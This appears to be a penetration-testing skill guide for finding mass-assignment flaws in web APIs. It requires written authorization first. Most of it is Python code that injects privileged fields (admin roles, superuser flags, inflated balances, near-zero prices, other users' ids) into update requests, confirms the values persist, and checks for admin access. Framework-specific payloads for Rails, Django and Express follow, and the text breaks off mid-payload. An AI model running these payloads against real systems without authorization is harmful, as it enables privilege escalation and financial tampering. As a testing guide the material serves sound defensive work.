testing-api-for-mass-assignment-vulnerability

What this skill does

# Testing API for Mass Assignment Vulnerability

## When to Use

- Testing API endpoints that accept JSON/XML request bodies for user profile updates, registration, or object creation
- Assessing whether the API binds all client-supplied properties to the data model without an allowlist
- Evaluating if users can set privileged attributes (role, permissions, pricing, balance) through regular update endpoints
- Testing APIs built with ORMs that auto-bind request parameters to database models
- Validating that server-side input validation restricts writeable properties per user role

**Do not use** without written authorization. Mass assignment testing involves modifying object properties in potentially destructive ways.

## Prerequisites

- Written authorization specifying target API endpoints and scope
- Test accounts at different privilege levels
- API documentation or OpenAPI specification to identify expected request fields
- Burp Suite Professional for request interception and parameter injection
- Python 3.10+ with `requests` library
- Knowledge of the backend framework (Rails, Django, Express, Spring) to predict parameter binding behavior

## Workflow

### Step 1: Identify Writable Endpoints and Expected Parameters

```python
import requests
import json
import copy

BASE_URL = "https://target-api.example.com/api/v1"
user_headers = {"Authorization": "Bearer <user_token>", "Content-Type": "application/json"}

# Identify endpoints that accept write operations
writable_endpoints = [
    {"method": "POST", "path": "/users/register", "expected_fields": ["email", "password", "name"]},
    {"method": "PUT", "path": "/users/me", "expected_fields": ["name", "email", "avatar"]},
    {"method": "PATCH", "path": "/users/me", "expected_fields": ["name", "bio"]},
    {"method": "POST", "path": "/orders", "expected_fields": ["items", "shipping_address"]},
    {"method": "PUT", "path": "/orders/1001", "expected_fields": ["shipping_address"]},
    {"method": "POST", "path": "/products", "expected_fields": ["name", "description", "price"]},
    {"method": "POST", "path": "/comments", "expected_fields": ["body", "post_id"]},
    {"method": "PUT", "path": "/settings", "expected_fields": ["notifications", "language"]},
]

# First, get the current user state as baseline
baseline_user = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"Baseline user state: {json.dumps(baseline_user, indent=2)}")
```

### Step 2: Inject Privileged Fields

```python
# Fields that should never be user-writable
PRIVILEGE_FIELDS = {
    "role_elevation": {"role": "admin", "user_role": "admin", "userRole": "admin",
                       "account_type": "admin", "accountType": "admin"},
    "admin_flags": {"is_admin": True, "isAdmin": True, "admin": True,
                    "is_superuser": True, "isSuperuser": True, "superuser": True},
    "permission_override": {"permissions": ["*"], "scopes": ["admin:*"],
                           "groups": ["administrators"], "roles": ["admin"]},
    "account_status": {"is_active": True, "isActive": True, "verified": True,
                       "email_verified": True, "is_verified": True, "status": "active"},
    "financial": {"balance": 99999.99, "credit": 99999, "discount": 100,
                  "price": 0.01, "amount": 0.01},
    "ownership": {"user_id": 1, "userId": 1, "owner_id": 1, "ownerId": 1,
                  "created_by": 1, "createdBy": 1},
    "internal": {"internal_notes": "test", "debug": True, "hidden": False,
                 "is_deleted": False, "is_featured": True, "priority": 0},
    "temporal": {"created_at": "2020-01-01", "updated_at": "2020-01-01",
                 "createdAt": "2020-01-01", "updatedAt": "2020-01-01"},
}

def test_mass_assignment(endpoint_info):
    """Test a writable endpoint for mass assignment vulnerabilities."""
    method = endpoint_info["method"]
    path = endpoint_info["path"]
    expected = endpoint_info["expected_fields"]
    findings = []

    # Build a valid base request
    base_body = {}
    for field in expected:
        if field == "email":
            base_body[field] = "[email protected]"
        elif field == "password":
            base_body[field] = "SecurePass123!"
        elif field == "name":
            base_body[field] = "Test User"
        elif field == "items":
            base_body[field] = [{"product_id": 1, "quantity": 1}]
        else:
            base_body[field] = "test_value"

    # Test each category of privileged fields
    for category, fields in PRIVILEGE_FIELDS.items():
        test_body = {**base_body, **fields}
        resp = requests.request(method, f"{BASE_URL}{path}",
                              headers=user_headers, json=test_body)

        if resp.status_code in (200, 201):
            # Verify if the fields were actually set
            resp_data = resp.json()
            for field_name, injected_value in fields.items():
                actual = resp_data.get(field_name)
                if actual is not None and str(actual) == str(injected_value):
                    findings.append({
                        "endpoint": f"{method} {path}",
                        "category": category,
                        "field": field_name,
                        "injected_value": injected_value,
                        "confirmed": True
                    })
                    print(f"[MASS ASSIGNMENT] {method} {path}: {field_name}={injected_value} accepted")

    return findings

all_findings = []
for endpoint in writable_endpoints:
    findings = test_mass_assignment(endpoint)
    all_findings.extend(findings)

print(f"\nTotal mass assignment findings: {len(all_findings)}")
```

### Step 3: Verify Assignment Through State Change

```python
def verify_mass_assignment(field_name, injected_value, verification_endpoint="/users/me"):
    """Verify that the mass-assigned field actually persists in the database."""
    # Re-fetch the object to confirm the field was saved
    resp = requests.get(f"{BASE_URL}{verification_endpoint}", headers=user_headers)
    if resp.status_code == 200:
        current_state = resp.json()
        actual_value = current_state.get(field_name)
        if actual_value is not None:
            match = str(actual_value) == str(injected_value)
            print(f"  Verification: {field_name} = {actual_value} (injected: {injected_value}) -> {'CONFIRMED' if match else 'NOT MATCHED'}")
            return match
    return False

# Test role elevation via profile update
print("\n=== Role Elevation Test ===")
# Step 1: Check current role
me = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"Current role: {me.get('role', 'unknown')}")

# Step 2: Attempt to set admin role
update_resp = requests.put(f"{BASE_URL}/users/me",
    headers=user_headers,
    json={"name": me.get("name", "Test"), "role": "admin"})
print(f"Update response: {update_resp.status_code}")

# Step 3: Verify if role changed
me_after = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"Role after update: {me_after.get('role', 'unknown')}")
if me_after.get("role") == "admin":
    print("[CRITICAL] Mass assignment: Role elevated to admin")

# Step 4: Test admin access
admin_resp = requests.get(f"{BASE_URL}/admin/users", headers=user_headers)
if admin_resp.status_code == 200:
    print("[CRITICAL] Admin access confirmed after role elevation")
```

### Step 4: Framework-Specific Testing

```python
# Ruby on Rails / Active Record style
rails_payloads = [
    {"user": {"name": "Test", "role": "admin", "admin": True}},  # Nested under model name
    {"user[name]": "Test", "user[role]": "admin"},                # Form-style nested
]

# Django REST Framework style
django_payloads = [
    {"username": "test", "is_staff": True, "is_superuser": True},
    {"username": "test", "groups": [1]},  # Add to admin group by ID
]

# Express.js / Mongoose style
express_payloads = [
    {"name": "test", "__v": 0, "_id": "0000000000000000000000